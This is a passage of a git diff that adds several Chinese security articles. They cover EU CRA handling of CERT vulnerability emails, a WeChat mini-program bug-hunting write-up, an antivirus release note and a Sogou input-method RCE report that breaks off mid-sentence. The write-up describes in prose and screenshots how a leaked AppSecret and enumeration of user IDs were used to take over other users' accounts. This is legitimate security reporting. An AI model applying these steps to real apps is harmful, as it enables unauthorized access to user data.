+筹码汹涌砸出，股价腰斩，谁在买单？显然是那些追高的散户。制度设计若纵容“上市即走”，长期投资者利益便成了缓冲垫。 + + +**高位接盘者，该警醒什么** + +**** +新股破发与暴跌不是偶然。对普通投资者而言，别被“第一股”光环和短视频情绪带节奏；对监管而言，优化限售安排、平衡机构与散户风险收益，已是必答题。 + + +机器人产业前景广阔，但股票不是杂技。落地之前，先别让自己成了“后空翻”的垫子。 +# + diff --git a/doc/2026-09/收到欧盟CERT漏洞通知邮件怎么办？制造商必读的CRA合规应对指南.md b/doc/2026-09/收到欧盟CERT漏洞通知邮件怎么办？制造商必读的CRA合规应对指南.md new file mode 100644 index 00000000..532b0c8e --- /dev/null +++ b/doc/2026-09/收到欧盟CERT漏洞通知邮件怎么办？制造商必读的CRA合规应对指南.md @@ -0,0 +1,527 @@ +# 收到欧盟CERT漏洞通知邮件怎么办？制造商必读的CRA合规应对指南 +原创 GTG-Hardy + GTG-Hardy GTG网络安全实验室 2026-09-16 01:42 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/U5ROicHxZUzreDUJ02LoAyvpIeXl0zRkwvMnLCKyafwtrc3Pk6vFoWa1NDC1HRPhQHWbKhEGiarbmcUBINXz5rd3ooJ64zw0Pj12aFhnlTXu8/640?wx_fmt=png&from=appmsg "undefined") + +**一封来自德国的邮件** + +最近有做智能家居的客户朋友找到我们GTG实验室，说收到一封来自德国的邮件。 + +发件人是  +**vulnerability@bsi.bund.de** +，标题写着"Security Vulnerability Report — Your Product"。邮件里说他们的摄像头产品存在一个严重漏洞，要求在90天内修复，否则会进入公开披露流程。 + +他第一反应是：**这是诈骗邮件吧？** + +第二反应是： +**如果是真的，我是不是要立刻上报SRP平台？会不会被罚款？** + +这两个问题，可能是很多销往欧盟的制造商今年都会遇到的。CRA（网络弹性法案）2026年9月11日正式适用后，欧盟各国的CERT（计算机应急响应小组）会越来越多地主动联系制造商，通报产品漏洞。 + +**这篇文章不讲CRA条文有多复杂，只讲三件制造商真正关心的事：** + +1. 收到这些邮件，怎么判断是真的还是诈骗？ + +2. 收到后该怎么办？要不要上报SRP？ + +3. 欧盟主要国家的CERT邮箱有哪些？建议收藏。 + + +**0****1** + + + + + + + + + + + + + + + + + + +**这封邮件是真的吗？先看域名** + + + + + + + + + + + + + + + + + + + + + + + +收到陌生的漏洞通知邮件，第一步不是恐慌，也不是忽略，而是 +**核实发件人身份。** + +欧盟各国的官方CERT邮箱都有固定的官方域名，记住这些域名，就能过滤掉90%的诈骗邮件。 + +**德国：** +vulnerability@bsi.bund.de —— bsi.bund.de 是德国联邦信息安全办公室（BSI）的官方域名，.bund.de 是德国联邦政府专用域名。 + +**法国：** +cert-fr@ssi.gouv.fr —— ssi.gouv.fr 是法国国家信息系统安全局（ANSSI）的官方域名，.gouv.fr 是法国政府专用域名。 + +**荷兰：** +cert@ncsc.nl —— ncsc.nl 是荷兰国家网络安全中心的官方域名。 + +**意大利：** +csirt@pec.acn.gov.it —— acn.gov.it 是意大利国家网络安全局的官方域名，.gov.it 是意大利政府专用域名。 + +**西班牙：** +incidencias@incibe-cert.es —— incibe-cert.es 是西班牙国家网络安全研究所的官方域名。 + +**波兰：** +通过 incydent.cert.pl 在线表单提交 —— cert.pl 是波兰CERT的官方域名。 + +**瑞典：** +cert@cert.se —— cert.se 是瑞典CERT-SE的官方域名。 + +**奥地利：** +reports@cert.at —— cert.at 是奥地利CERT.at的官方域名。 + +**记住一个简单原则：** +官方CERT邮箱的域名一定是该国政府或官方机构的域名，不会是gmail、outlook、yahoo等公共邮箱，也不会是看起来像官方但拼写有细微差别的域名（比如 bsi-bund.de 而不是 bsi.bund.de）。 + +诈骗邮件的典型特征：要求付款、威胁立即罚款、链接指向非官方网站、要求提供银行账户或密码。真正的CERT邮件不会做这些事， +**他们只关心一件事：** +**你的产品漏洞能不能修复。** + + + +**02** + + + + + + + + + + + + + + + + + + +**收到后怎么办？三步应对法** + + + + + + + + + + + + + + + + + + + + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/U5ROicHxZUzpEs6zfCbZdNCianr5H68jMWenvg3UHXXgKyUCicG8VsRCI8YPYVcOcapaDWjHCvxQJNYjzl3HmGTpcFq55VI0AGjO3oeps2uePs/640?wx_fmt=png&from=appmsg "") + +确认邮件是真的之后，很多制造商的第二个问题是： +**我是不是要立刻上报SRP平台？** + +答案是： +**先别急着上报，先核实漏洞。** + +CRA第14条规定，制造商必须在"知道"严重漏洞或被积极利用后24小时内通过SRP平台报告。但这里的关键词是"知道"——CERT发邮件通知你，不等于你已经"知道"了漏洞。你需要先核实漏洞是否真实存在、是否影响你的产品、严重程度如何。 + +正确的应对流程是三步： +### 第一步：核实漏洞真实性（24-48小时内） + +收到CERT邮件后，第一时间组织技术团队核实邮件中描述的漏洞。需要确认： + +• 漏洞是否真实存在？ + +• 是否影响你的产品型号和固件版本？ + +• 漏洞的严重程度（CVSS评分）？ + +• 是否已经被在野利用？ + +同时，回复CERT确认收到邮件，告知你已经启动内部核实流程。这一步很重要——CERT需要知道你在处理，而不是石沉大海。 +### 第二步：评估是否触发CRA报告义务 + +核实后，如果确认漏洞真实存在，需要判断是否触发CRA的强制报告义务： + +**需要立即上报SRP的情况：** + +• 漏洞被积极利用（active exploitation） + +• 漏洞严重程度高（通常CVSS ≥ 7.0），且可能被利用• 漏洞影响大量用户或关键基础设施 + +**不需要立即上报，但需要记录的情况：** + +• 中低危漏洞（CVSS < 7.0），暂未被利用 + +• 漏洞影响范围有限 + +• 已经有缓解措施 + +**关键判断标准：** +CRA要求报告的是"严重漏洞"和"被积极利用的漏洞"。中低危漏洞不需要24小时内上报，但需要在你的漏洞管理流程中记录，并在修复后通过EUVD（欧盟漏洞数据库）公开。 +### 第三步：响应CERT并启动修复 + +确认漏洞后，启动内部漏洞修复流程，并定期向CERT更新进度： + +• 确认收到漏洞报告 + +• 提供漏洞核实结果 + +• 给出修复时间表（通常90天内） + +• 修复完成后通知CERT，CERT会发布安全公告 + +修复完成后，漏洞信息会进入两个公开数据库：德国WID平台（wid.cert-bund.de）和欧盟EUVD数据库（euvd.enisa.europa.eu）。这是正常的合规流程，不是惩罚——公开漏洞信息是为了让用户及时更新固件，保护整个生态。 + + + +**03** + + + + + + + + + + + + + + + + + + +**欧盟主要国家CERT邮箱清单（建议收藏）** + + + + + + + + + + + + + + + + + + + + + + + +以下是欧盟主要成员国的官方CERT/CSIRT联系渠道，按亚马逊欧洲站主要市场排序。建议制造商的合规团队和技术团队都收藏这份清单。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/U5ROicHxZUzrd4VqYE5vRL5h7QbIRJWDCmANDPFicQrtLxXCibGvfL5QfpDGerYoLppOaiaoibajVAVDGb9FurMC3w2SNM35kP6ykp0GAgnxMBWY/640?wx_fmt=png&from=appmsg "") + +特别提醒： +以上邮箱中，德国的 vulnerability@bsi.bund.de 是对第三方漏洞报告最友好的渠道——有专门的在线表单、支持匿名、CVD流程最完善。 + +其他国家的邮箱大多是事件报告邮箱，产品漏洞建议优先联系制造商，或报给德国CERT-Bund。 + + + +**04** + + + + + + + + + + + + + + + + +**欧盟层面有没有统一的CERT邮箱？** + + + + + + + + + + + + + + + + + + + + + + + +很多制造商问：欧盟有没有一个统一的邮箱，可以一次性通报所有成员国？ + +答案是： +**没有统一的CERT邮箱，但有统一的平台和数据库。** +### ENISA：欧盟网络安全局 + +ENISA（欧盟网络安全局）是欧盟层面的网络安全机构，但 +**它不直接接收漏洞报告。** +ENISA的角色是： + +• 运营SRP平台（单一报告平台） + +• 运营EUVD数据库（欧盟漏洞数据库） + +• 协调各国CSIRT之间的信息共享 + +• 制定CRA实施指南 +### SRP平台：制造商强制报告入口 + +SRP（Single Reporting Platform，单一报告平台）是CRA框架下制造商强制报告漏洞的官方入口，网址是 portal.cra-srp.enisa.europa.eu。 + +但注意： +**SRP是给制造商用的，不是给第三方研究者用的。** +第三方发现漏洞，应该走各国CSIRT的CVD流程，而不是直接在SRP上提交——第三方提交会被标记为无效。 +### EUVD：欧盟漏洞数据库 + +EUVD（European Vulnerability Database，欧盟漏洞数据库）是完全公开的漏洞信息库，网址是 euvd.enisa.europa.eu。任何人都可以查询，包含厂商、产品、版本、CVSS评分、CVE编号等信息。 + +漏洞修复后，经制造商同意，会同步发布到EUVD。这是CRA第17条规定的透明度义务——制造商有义务公开已修复的漏洞信息，让用户及时更新。 + + + +**05** + + + + + + + + + + + + + + + + + + +**四个常见误区，先排除再行动** + + + + + + + + + + + + + + + + + + + + + + + +### 误区一：收到CERT邮件就要立刻上报SRP + +很多制造商一看到CERT邮件就慌了，立刻去SRP平台提交报告。这是错误的。 + +CRA要求的是"制造商知道严重漏洞后24小时内报告"。CERT发邮件通知你，不等于你已经"知道"了——你需要先核实。如果核实后发现是误报（比如漏洞不影响你的产品型号），根本不需要上报。 + +**正确做法：** +先核实，再判断是否需要上报。核实期间回复CERT确认收到即可。 +### 误区二：CERT邮件是诈骗，可以忽略 + +另一个极端是完全忽略。CRA适用后，欧盟各国CERT会越来越主动地联系制造商。忽略CERT邮件的后果可能很严重： + +• CERT会认为你不配合，进入公开披露流程 + +• 漏洞信息可能在你未修复的情况下被公开 + +• 可能触发市场监管机构的调查 + +• 影响产品在欧盟市场的销售 + +**正确做法：** +先核实域名判断真伪，确认是官方CERT后必须响应。 +### 误区三：只有德国的CERT会联系我 + +很多制造商只关注德国市场，觉得只有德国CERT-Bund会联系他们。但实际上： + +• 漏洞信息会在欧盟各国CSIRT之间共享 + +• 一个国家的CERT收到漏洞报告后，会通知其他受影响国家的CERT + +• 你的产品在哪个国家卖，哪个国家的CERT就可能联系你 + +**正确做法：** +关注所有主要销售国的CERT渠道，建立统一的漏洞响应流程。 +### 误区四：修复了就没事了，不用公开 + +有些制造商觉得，我悄悄修复了漏洞，不告诉任何人，就没事了。这在CRA框架下是行不通的。 + +CRA第17条规定了透明度义务：制造商有义务公开已修复的漏洞信息。CERT协调的漏洞，修复后会在WID平台和EUVD数据库公开。如果你自己发现并修复了漏洞，也需要通过SRP平台报告并公开。 + +**正确做法：** +把公开漏洞信息当作正常的合规流程，而不是负面事件。及时公开已修复的漏洞，反而能体现企业的负责任态度。 + + + +**06** + + + + + + + + + + + + + + + + + + +**写在最后｜给制造商的三条行动建议** + + + + + + + + + + + + + + + + + + + + + + + +CRA不是一纸空文，它正在通过各国CERT的日常运作，实实在在地影响每一个销往欧盟的制造商。收到CERT漏洞通知邮件，不是"会不会遇到"的问题，而是"什么时候遇到"的问题。 + +给所有销往欧盟的制造商三条建议： + +**第一，建立CERT邮件识别和响应流程。** +指定专人负责监控和响应各国CERT邮件，确保收到后24-48小时内启动核实流程。不要让重要邮件躺在通用邮箱里无人处理。 + +**第二，把漏洞管理做成日常能力，而不是应急反应。** +建立内部漏洞管理流程，包括漏洞接收、核实、修复、公开的完整链路。CRA要求的不是"不出漏洞"，而是"出了漏洞能快速响应和修复"。 + +**第三，收藏这篇文章里的邮箱清单。** +德国的 vulnerability@bsi.bund.de、法国的 cert-fr@ssi.gouv.fr、荷兰的 cert@ncsc.nl……这些邮箱可能某一天就会出现在你的收件箱里。提前认识它们，到时候就不会慌。 + +CRA时代，合规不是成本，而是护城河。能快速响应漏洞、主动公开信息的制造商，会在欧盟市场赢得更多信任。 + + + +**广测电磁：全球数字安全合规优选伙伴** + +**别让合规只停留在“拿证”。** + + +面对欧盟 CRA网络弹性法案、AI法案及 GDPR/CCPA/数据法案等严苛监管，凭借CNAS(L18872)+A2LA(6947.01)双资质及前360/深信服核心网络安全专家团队，为您提供真正的“实战级”防护。 + + +**🏆 为什么GTG能为您降本避险？** + + +- 拒绝模板：不只给报告，我们提供定制化漏洞修复方案，确保产品真安全。 + +- 极致省心：代写核心文档，免除繁琐填表，让合规效率提升70%。 + +- 全域覆盖：从消费电子到汽车、工控、医疗，一站式解决全球隐私与数据安全难题。 + + + + +您的全球合规通行证，从这里开始。 + +**[👉 立即咨询 CRA / AI法案 / 隐私合规]** + +更多相关内容 + +欢迎关注视频号**“GTG网络安全实验室”** + + + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/U5ROicHxZUzpYyJO7xHTJU0P4a8zZh3NZMHu98PydwZElQYV9Ix6NRJia5ib6PN8JEV8viaHYWwr4XcmBuJOzLiaCxaseic1ACIW1uynIT78knePE/640?wx_fmt=png&from=appmsg "") + + + + diff --git a/doc/2026-09/某微信小程序漏洞挖掘.md b/doc/2026-09/某微信小程序漏洞挖掘.md new file mode 100644 index 00000000..3cb46a66 --- /dev/null +++ b/doc/2026-09/某微信小程序漏洞挖掘.md @@ -0,0 +1,62 @@ +# 某微信小程序漏洞挖掘 + 白帽子 2026-09-16 04:16 + +``` +免责声明： +本公众号所提供的文字和信息仅供学习和研究使用，不得用于任何非法用途。 +我们强烈谴责任何非法活动，并严格遵守法律法规。 +读者应该自觉遵守法律法规，不得利用本公众号所提供的信息从事任何违法活动。 +本公众号不对读者的任何违法行为承担任何责任。 +``` +# 一、AppSecret密钥泄露漏洞 + +AppSecret是小程序的唯一凭证密钥，也是获取小程序全局唯一后台接口调用凭证（access_token）的重要参数，需要开发者妥善保管至后台服务器中，并严格保密，不向任何第三方等透露。小程序若存在AppSecret密钥泄露漏洞的情况，会造成身份信息仿冒、敏感数据外泄等严重后果，开发者应及时发现该漏洞并快速修复相应问题。 + +实战案例  + +某小程序因为AppSecret泄露，导致攻击者可以通过调用API获取该小程序敏感数据，如接口调用凭证、用户信息、用户使用数据等，造成了极大的安全风险。 + +通过以下展示我们可以明晰该小程序敏感数据外泄的原因，测试者先对小程序网络请求进行抓包，发现请求响应中包含了appid和AppSecret敏感信息： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0ic45F94NibRtcExiaiccAuMl4ibv1ibhNsfkSVsqD3H0kR2D3yH6iazQcXuRzCicPVUcBGSYXPZcdSjpibjJd72sCZjBd8PdOSb04GnibxH8MOuDdic1U/640?wx_fmt=png&from=appmsg "") + +使用工具   API-Explorer_v2.1.0  + +输入appid 和 AppSecret的信息选择小程序调用接口 获取token选择调用的接口 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0ic45F94NibRvoHLzCbIS3eKicW1icRDYZiaPo9fINY6uiaBRp0qlKicpcbcCTWqEFOBN7X1qPycOW4OhQtIM20cYwxZwibCD2h5HujoYvib0QAJPVyc/640?wx_fmt=png&from=appmsg "") +# 二、任意用户访问 + +微信小程序登录的时候会产生一个临时code 请求服务器进行访问 + +![](https://mmbiz.qpic.cn/mmbiz_png/0ic45F94NibRt59gibWZdc9nseFmwamr08jr0lK3xLNuX6IhZXvQCXfdVBPbfmwc2nu5z9NtQRuLNX9O9kBfpylseWicVLFdvFOVuwtXGb457FI/640?wx_fmt=png&from=appmsg "") + +删除code再进行访问 还是可以访问  并且返回用户相关信息 所以code并没作用 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0ic45F94NibRtNVZmRNP3PlLqcLibqCJcTHHpYMic9VexoxMKlPE6GgM7PqgqlkeIhb0vTQWmzLYBAGUADYS1KicjcRro1pK9ZzpswBc2FJlyn9g/640?wx_fmt=png&from=appmsg "") + +而且访问该id 还会产生jwt token 这个一般是用来身份验证的 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0ic45F94NibRuKtwsZ4cPY6a1LNNww4K8h5SibXxZNDxjrtL5ehF9FtOk0jln1Na5vgAq7vbqLpoEGBWCc7tylziaRHChX1F9pMINnSnCrsMRcc/640?wx_fmt=png&from=appmsg "") + +对id进行遍历 获取多个用户的token + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0ic45F94NibRtSxEuZGkcmJ01DW4pJlh103kHdia7PqqL1CicDibB72VXdvSmuBxjzhkOmrdjWVGXBVEg9kibqZP2pN7xHZmvK5TyRnLicYx3SFv2g/640?wx_fmt=png&from=appmsg "") + +随便拿一个遍历的token 替换当前的 token成功获取指定用户权限 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0ic45F94NibRsIwJH6cMpeeJEorNkhFsYwtD24g2ksia0tcESNtvC34fgFHSzPScayCyxdY2ruGlGfibibomExice3Gw3vdwjhePGrsHRvoicLanEk/640?wx_fmt=png&from=appmsg "") + + +需要本文相关工具  + +关注公众号回复【 +20260916 +】  + +安全交流群 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0ic45F94NibRunhyib6xueQwtbzEQju3zOKbhByibe2jLgD9R1p8TTzXn6KHmGuNDWyicm3WmogmSlLErjk1GSgwLEfGUOrAz4fY5Xu5S8ch7F7c/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/2026-09/火绒企业版2.0功能升级｜跨平台漏洞检测上线 查杀支持断点续杀.md b/doc/2026-09/火绒企业版2.0功能升级｜跨平台漏洞检测上线 查杀支持断点续杀.md new file mode 100644 index 00000000..d15c715d --- /dev/null +++ b/doc/2026-09/火绒企业版2.0功能升级｜跨平台漏洞检测上线 查杀支持断点续杀.md @@ -0,0 +1,224 @@ +# 火绒企业版2.0功能升级｜跨平台漏洞检测上线 查杀支持断点续杀 +火绒安全 + 火绒安全 火绒安全 2026-09-16 08:00 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/0icdicRft8tz6h5nbHLqtyUeLADJt7ewgFh6AbCAxQeO9D2y9CcDK7liaJDD5PZGwbqURKywb0SqKeiaCUIgyLTVkw/640?wx_fmt=gif&from=appmsg#imgIndex=0 "") + +近日，火绒企业版2.0.20.0版本迎来更新，本次更新覆盖终端安全管控、漏洞防护、驱动风险拦截等多个模块，在强化威胁防御能力的同时，大幅简化管理员日常运维工作，提升企业整体安全管理效率。 + + + + + + +**新增终端热点共享管控** + +PART 01 + + + + +支持管控终端开启移动热点共享网络的行为。禁止状态下可拦截系统及第三方工具的热点共享，规避内网外泄风险。终端拦截会弹出提醒，管理中心留存热点相关日志，便于事后审计追溯。 + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SpiaXo9CMKJjOKACAnyKwLDzMjVPQW6wz7aJdia2lNwFRAfQy85hYoqG3vvicLDcmpvMBibqyuHqMcbgmfGgNwuYaDmIQUfCzGJnVo/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SodVkTkN5IMPmggH9OnoIicQBbArvBicPNXv8gibibEg6wFKXW4TnvHLBOV5vHL0zTiaOLAIxPl04SEvnaKXY46sW6KibTqtKpXlvJHA/640?wx_fmt=png&from=appmsg "") + + + + +**跨平台漏洞检测能力上线** + +PART 02 + + + + +新增多终端漏洞检测，支持Windows、Linux桌面版、macOS终端进行漏洞扫描。管理中心可按终端、按漏洞查看相关风险内容。同时增加漏洞库版本展示，异常时中心主动提醒，离线升级工具支持漏洞库更新。 + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01Sp0xoBYpA5PaD6lot80pzGd4Y8658jcN6hzBHibtqjsyWVhINZymMaNEVW0Eu9UicpGEGCBibBUONj1Voy8arhJKXchTv7HAWBGNM/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SrTicWaSavWV3luic0QQ1wbFuSGoMZYbhayLGkInV5mMkEvI1VbgLlp6WK9GObdWCqjzV8bKqDqLxJ77B5Dgt01QIwUmV8pXThY8/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01Sq3mdJ1kUic1S3OAX9M32icicryAtiaqRic4gOgo6q1GdIoXhxHm6ZjZ9omQAaOvkymlwCvflsDC58vNicTwK3AOLkWVHBZW3FXpW1Eo/640?wx_fmt=png&from=appmsg "") + + + + +注：Linux服务器版暂不支持。 + +**Windows终端新增漏洞驱动拦截** + +PART 03 + + + + +新增漏洞驱动拦截防护，拦截存在安全风险的驱动加载行为。拦截事件会弹窗提醒并记录日志，中心支持日志查询与邮件告警。 + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01Sru6cKGVKxRMkibNAJ2waMPgJzNzfzicev2tsPxjNShPnC6mFBTSF5UGo7RtdJ86Upw3PTIpibDORNnnPU79cja3IBPXVnibJRgibS0/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SoZlMWmnq54cGeHhcXbP4bPsb6eTqlhBlKxolEWz3nb7TbjCHib7iaz70ib7hibkz6h3vcq4QdpoEGYaMDLqahv2BslvHwAds59DGg/640?wx_fmt=png&from=appmsg "") + + + + +**资产统计管理优化** + +PART 04 + + + + +系统管理页面新增系统类型标识；终端概况、终端详情、报表导出同步支持系统类型字段，方便快速筛选盘点企业终端资产。 + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SqaIYhGXMnM1IiaCHia80cgwiaAv0ytLUfNqia5GpVxLRm0Gh2er7r6mbF3kXglz8I3nmic1UUiaL25Naws642ibOEMnPeJTAibcJTibXfY/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SqZlWY8gt18UfoTn8wwSnJUyV9j1Q8shqNJibA4SXznfHOQg0icUL1YfckGJO0e8gYBeTf8NX7vrC1xRabQu0e2KwSo3ZAleuvGY/640?wx_fmt=png&from=appmsg "") + + + + +**Linux桌面版支持信任注册U盘** + +PART 05 + + + + +Linux桌面终端支持识别中心下发的已注册信任U盘，接入异常的U盘支持终端本地修复，完善国产化平台外设管控能力。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SrMsJk4qlt39ZO6FVxzWWNYk8FHFYWkdYzaspn0nWuPibTjicHFIic8DxZ1a7WnBollZHRM7DPt171nyRQOJBjIbWABUJ05CeLUYU/640?wx_fmt=png&from=appmsg "undefined") + + + + +**策略运维效率提升** + +PART 06 + + + + +1.支持批量部署防护策略。 + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SpZ26Yy11sicC6QUQib4dAQjn2qTKSLVgZPcKymdicm6M9jzdB3bib4Ue6GKZk15LiafatzXQcNjsYmRsjqaEpanB9m0gxmcTEIy5Rg/640?wx_fmt=png&from=appmsg "") + + + + +2.新增策略对比功能。 + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SqQ1a3jxhx3feHmze3rbw1zD3d9KXZUNb5VwyvW9ahicSekxltMzCR1gyZdOjzeHgkHZTZXnMjBXl94Thib0DYzIZicBhpHmPSgrc/640?wx_fmt=png&from=appmsg "") + + + + +3.支持策略批量删除。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01Spxtmn3lqYCSCRtfZAavwwQzVvsaYf60a3wZlibEmQXic7PvEoa7F0MNNdPQMOBc9VArz4JA9OwibUYMRpISmm4R2T51UUeMaPzzU/640?wx_fmt=png&from=appmsg "") + + + + +**查杀能力优化，新增低速查杀、断点续杀** + +PART 07 + + + + +查杀任务提供常规、高速、低速三档速度选择，低速模式限制CPU占用，避免扫描影响办公。计划查杀任务支持断点续杀，无需全盘重新扫描，日志统计累计扫描总时长。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SpicqW0NeqNyaNZLn4JtRsvuyPjN5q7GrWuNGl18O9zKVyJQO10wwf7yK3xAhkmtXxOzGfQEwX056RibVegJcw8lDiaYhV3bhI8aw/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/u1Oy5xQ01SoRShlcMedcYodLmR7lPOfMcZrJEicrKGupxdBniaI8uIs6uSjibvd72oXBjmSMF03UI8GyVDFM0A0NOTgICBEV6wbcKYBI2daVPk/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SomuqTfbI5EVc8sLqJzmVLpTzeZ4uZg8aibiaLu684fNQlTQGxibWCRJtWNDyDichaibP2EbkQQOEvdLDYlEuzXUyn0t9Ia0Y3U3YQY/640?wx_fmt=png&from=appmsg "") + + + + +**首页新增安全统计看板** + +PART 08 + + + + +控制台首页展示终端版本、病毒库版本统计，可快速定位版本未更新的终端；同时还可展示近期活跃病毒、感染终端等内容，直观掌握企业威胁现状。终端概况页面增加版本筛选，便于快速筛选待升级设备。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SoxFwhgyG4F0sWIHx6YWpBtuiaIexs7nHDwE5jNmqBcZAPnMRhuo7YGRfibqayicwmWhHNooYB9mtsu9Via8CdrsLpaQrEibTRJmib4I/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SpSVoDY9PZ771HYiarNDZ4N4Oa4alKOfa3yLjyUzk2OUwkH6xRVicuFdlAjA4uLwAAMUAxicOhFOu02Sn5o32880kG6vYVkGibguCM/640?wx_fmt=png&from=appmsg "") + + + + +**支持多源LDAP同步** + +PART 09 + + + + +支持配置多个LDAP数据源，兼容简单认证、Kerberos认证。新增域账号登录校验策略；可基于域账号实现终端自动分组，完善复杂域环境下的终端管理。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SqVXWibM8agBVyclzL3OTibAyxGZKCEHjzbwbpv4Pcmg8D6mbA4OfEAficofTcbVnRgP4ialOyJPhLEUU6ouY3x9vicR9JbI4prWxbU/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SpwXgWeThOia6xlictLGO0E58olW6or54CkuhHsUB37a5vj942N34P5xqClgmVOxxBicw4GfEj2nibLbHhm1M4KbRGuaxq1q0FT2XQ/640?wx_fmt=png&from=appmsg "") + + + + +版本升级后，我们将给您最新的使用体验，火绒安全将始终立足政企终端安全实战场景，持续精进核心安全技术，不断适配国产化生态与各类复杂企业网络环境，以轻量化、高精准、高兼容的安全服务，全方位护航企业终端资产与数据安全，为企业数字化稳健发展筑牢安全根基。 + + + +**关于公司** + + +火绒安全成立于2011年，是一家专注、纯粹的安全公司，致力于在终端安全领域为用户提供专业的产品和专注的服务，并持续对外赋能反病毒引擎等相关自主研发技术。多年来，火绒安全产品凭借“专业、干净、轻巧”的特点收获了广大用户的良好口碑。火绒企业版产品更是针对企业内外网脆弱的环节，拓展了企业对于终端管理的范围和方式，提升了产品的兼容性、易用性，最终实现更直观的将威胁可视化、让管理轻便化，充分达到保护企业信息安全的目的。 + +![2d3f91dee3e0747ac5c5fde2bd0de26d.png](https://mmbiz.qpic.cn/sz_mmbiz_png/u1Oy5xQ01SrJGjzAFJIoicNgkceY4J2RUrwX3qeMkpKttIZKCic0GsicH8YgyDIsT4l75HvsOBMYI6Jds3vMc4gns2u8CmFkO7clQYmfs9icD90/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/u1Oy5xQ01So9lmr3nmkfAm5Ss1iaTy1F2Fj9YJLEaeRxra19xuiayibGdQibic8fYPZf2M6AK33zBdaD6CSuXhmJKJvuibKPaYkcsg123emzvUsib0/640?wx_fmt=gif&from=appmsg "") + +**点点赞** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/u1Oy5xQ01SqZ3YoHvl8kXVsA3IV6VQaqn2Rc7AfgfSmMv5WCCVz8dVYpfqD5fia13Bw3YfK3htXBuJt5sX8iamJwjVnzkelicjPqlsZdcWqic7k/640?wx_fmt=gif&from=appmsg "") + +**点分享** + +![](https://mmbiz.qpic.cn/mmbiz_gif/u1Oy5xQ01Sr6O5H8cvoSM6nhOiazovcVzESUJKcfDGPfFUBlWrO0hRaeMt3ibPTTn72YWeiaHYNfdY4gPvvTrC3hsosVptQOj1wWicQwBxFfd3M/640?wx_fmt=gif&from=appmsg "") + +**点喜欢** + diff --git a/doc/2026-09/点开一个sgbiz链接就植入后门：搜狗输入法漏洞已被真实利用.md b/doc/2026-09/点开一个sgbiz链接就植入后门：搜狗输入法漏洞已被真实利用.md new file mode 100644 index 00000000..0b840a33 --- /dev/null +++ b/doc/2026-09/点开一个sgbiz链接就植入后门：搜狗输入法漏洞已被真实利用.md @@ -0,0 +1,64 @@ +# 点开一个sgbiz链接就植入后门：搜狗输入法漏洞已被真实利用 +原创 tcode + tcode 字节脉搏实验室 2026-09-16 03:25 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/nOo5YmK1PHxg5cDXHd6G1BdCMS4tLYRfPdPhFhTVAIFmTobItPs1ia2KqpyLBbFf0Dpiapyjo5OOcYa5oqxp7fJuFp9LPOB1McqGWcNAHylJg/640?wx_fmt=png&from=appmsg "") + +    输入法看起来只是桌面上的一个小工具，因此更容易被排除在安全清单之外。Gen Digital 9月10日公布的研究显示，Windows版搜狗输入法曾存在编号为 CVE-2026-51990 的远程代码执行漏洞；真实攻击活动使用特制链接串联协议处理、网页和旧版浏览器三个弱点，最终安装 GRAYRABBIT 后门。腾讯已在2026年4月21日通过16.3.0.3498版自动更新修复漏洞入口。 + +    这起事件的关键不是“输入法会不会记录按键”这种旧问题，而是一个常用的中文软件如何处理外部链接、启动本地组件，以及它内置的浏览器是否还带着早已淘汰的防护配置。只要这三件事组合错误，用户以为自己在打开帮助页或皮肤页，系统却可能按攻击者指定的参数启动另一个组件。 + +一个链接怎样走到本机命令执行 + + +    搜狗输入法在 Windows 上不是一个单一程序，而是由多个组件通过 `sgbiz:` 自定义协议协作。系统遇到此类链接时，会将请求交给 `biz_helper.exe`，后者根据链接选择要启动的组件。问题出在参数校验：处理器检查了组件名称，却没有过滤随组件一起传入的命令行参数。 + +    攻击者选择一个会打开皮肤商店的 `SGMyInput.exe` 